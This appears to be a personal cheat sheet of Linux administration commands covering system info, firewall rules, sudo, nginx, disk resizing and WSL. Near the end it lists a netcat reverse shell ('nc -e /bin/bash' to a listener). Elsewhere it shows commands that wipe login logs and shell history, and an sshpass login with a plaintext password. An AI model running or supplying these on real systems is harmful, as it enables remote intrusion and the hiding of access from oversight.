sudo !!
<Ctrl+r>
cd
cd -
In $HOME/.bashrc
or elsewhere
alias gpush="git push"
cat /etc/os-release
cat /etc/lsb-release
cat /etc/issue
free -h
ncdu
cat /proc/cpuinfo | awk '/^processor/{print $3}' | wc -l
cut -d\: -f1 /etc/passwd
touch a{1..9}.txt
cp a{1..9}.txt backup-dir
df -h
du -h [file/dir name]
# This is `apt autoremove` counterpart
pacman -Rns $(pacman -Qdtq)
If password login is enabled, failed login attempts will be very annoying.
Below config will block those attempts in CentOS.
firewall-cmd --permanent --add-source=185.75.166.0/24 --zone=trusted
firewall-cmd --permanent --add-service=ssh --zone trusted
firewall-cmd --permanent --remove-service=ssh --zone-public
firewall-cmd –reload
last
sudo lastb
>/var/log/wtmp
>/var/log/btmp
history -c
or
>~/.bash_history
adduser debian
usermod -aG sudo debian
getent group sudo # verify
su - debian # login as debian
debian
is the new username
# Debian
usermod -aG sudo username
# CentOS
usermod -aG wheel username
Then run this
visudo
And add this line to the end of the file /etc/sudoers
username ALL=(ALL) NOPASSWD:ALL
vim /etc/ssh/sshd_config
Edit the content like so:
PasswordAuthentication yes
PermitRootLogin prohibit-password -> PermitRootLogin yes
Then run this:
systemctl restart sshd
# New Server Block Named ‘ip-guard.conf’ or something like that 😊
server {
listen 80 default_server;
return 444;
}
lsb_release -a
cat /etc/issue
cat /etc/os-release
hostnamectl
*crazyoptimist.net/*
# Forwarding URL : 301 Permanent Redirect
https://crazyoptimist.net/$2
server {
if ($host = crazyoptimist.net) {
return 301 https://www.$host$request_uri;
}
server_name crazyoptimist.net;
listen 80;
return 404; # managed by Certbot
}
server {
if ($host = crazyoptimist.net) {
return 301 https://www.$host$request_uri;
}
server_name crazyoptimist.net;
listen 443 ssl;
return 404; # managed by Certbot
}
To make the computer running after closing the lid.
HandleLidSwitch=ignore in /etc/systemd/logind.conf
IgnoreLid=true in /etc/UPower/UPower.conf
apt --fix-broken install -y
sudo cat /etc/shells
chsh <username>
Then select /bin/bash
or /bin/zsh
😊
sshpass -p '!QAZXSW@' ssh centos@54.245.191.227 "cd /var/www/ebay.paytroy && sudo git pull"
- The semicolon (;) operator allows you to execute multiple commands in succession, regardless of whether each previous command succeeds.
- If you want the second command to only run if the first command is successful, separate the commands with the logical AND operator, which is two ampersands ( && ).
who -u
sudo kill “pid”
apt list –-installed
ssh -L localPort:localhost:hostPort -C -N -l username hostname
vim /etc/default/grub
GRUB_TIMEOUT=2
sudo update-grub
apt update -y && apt upgrade -y
apt install xfce4 xfce4-goodies
systemctl enable --now lightdm
# download anydesk and run:
anydesk --get-id
echo your-password | anydesk --set-password
# change the default display manager(gdm3, lightdm, sddm, lxdm)
# kde only goes with sddm
sudo apt install sddm
# if you only need to switch(i.e. already installed it)
sudo dpkg-reconfigure sddm
# start the service
sudo systemctl enable sddm
sudo systemctl disable lightdm
# change the login manager, specifically in kde
# open System Settings, go to Startup and Shutdown, and figure it out
# it turned out that AppArmor service was messing up with Docker
sudo aa-remove-unknown
docker container kill $(docker ps -q)
# or
sudo apt-get purge --auto-remove apparmor
sudo service docker restart
docker system prune --all --volumes
Run lsblk
which will print something like:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 200G 0 disk
└─sda1 8:1 0 200G 0 part /
sdb 8:16 0 400G 0 disk
└─sdb1 8:17 0 199.5G 0 part /mnt
Run fdisk
like this:
fdisk /dev/sdb
# carefully check where the partition starts
p
# remove the existing patition
d
# create a new patition with the whole free space
n
# write changes
w
Resize the file system, ext4
can be resized online.
resize2fs /dev/sdb1
Run lsblk
to confirm the result:
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 200G 0 disk
└─sda1 8:1 0 200G 0 part /
sdb 8:16 0 400G 0 disk
└─sdb1 8:17 0 400G 0 part /mnt
- listen for linux target
nc -lnvp MY_PORT -s MY_PUBLIC_IP
- script on linux target
nc -e /bin/bash MY_PUBLIC_IP MY_PORT
w
This command will display all the live users on the machine.
Checkout TTY
and WHAT
columns.
sudo pkill -9 -t pts/1
pts/1
is just an example value from TTY
column.
Go to %USERPROFILE%
Create a file .wslconfig
[wsl2]
# Limits VM memory to use no more than 8 GB, this can be set as whole numbers using GB or MB
memory=8GB
# Limits number of cores
processors=4
/etc/wsl.conf
is used for distro-specific config.
Type \\wsl$
in file explorer
It's 1024 by default. Check by ulimit -n
or ulimit -a
sudo prlimit --nofile=8192 --pid $$; ulimit -n 8192
First find the Process ID (PID) associated with the port, eg. 5000
lsof -i tcp:5000
Kill the process:
kill -9 <PID>
man nmcli
# Show all active network devices
nmcli device show
# Show all active connections
nmcli connection show --active
# Delete a connection permanently
nmcli connection delete <connection name>
List all ports in use
sudo lsof -nP -iTCP -sTCP:LISTEN
Check a specific port (if it's already listening or available for mapping)
sudo lsof -nP -i:[port-number]
:vimgrep /pattern/./**/*.ext
:vimgrep /pattern/subdirname/**/*.ext
For all extensions, you can use *.*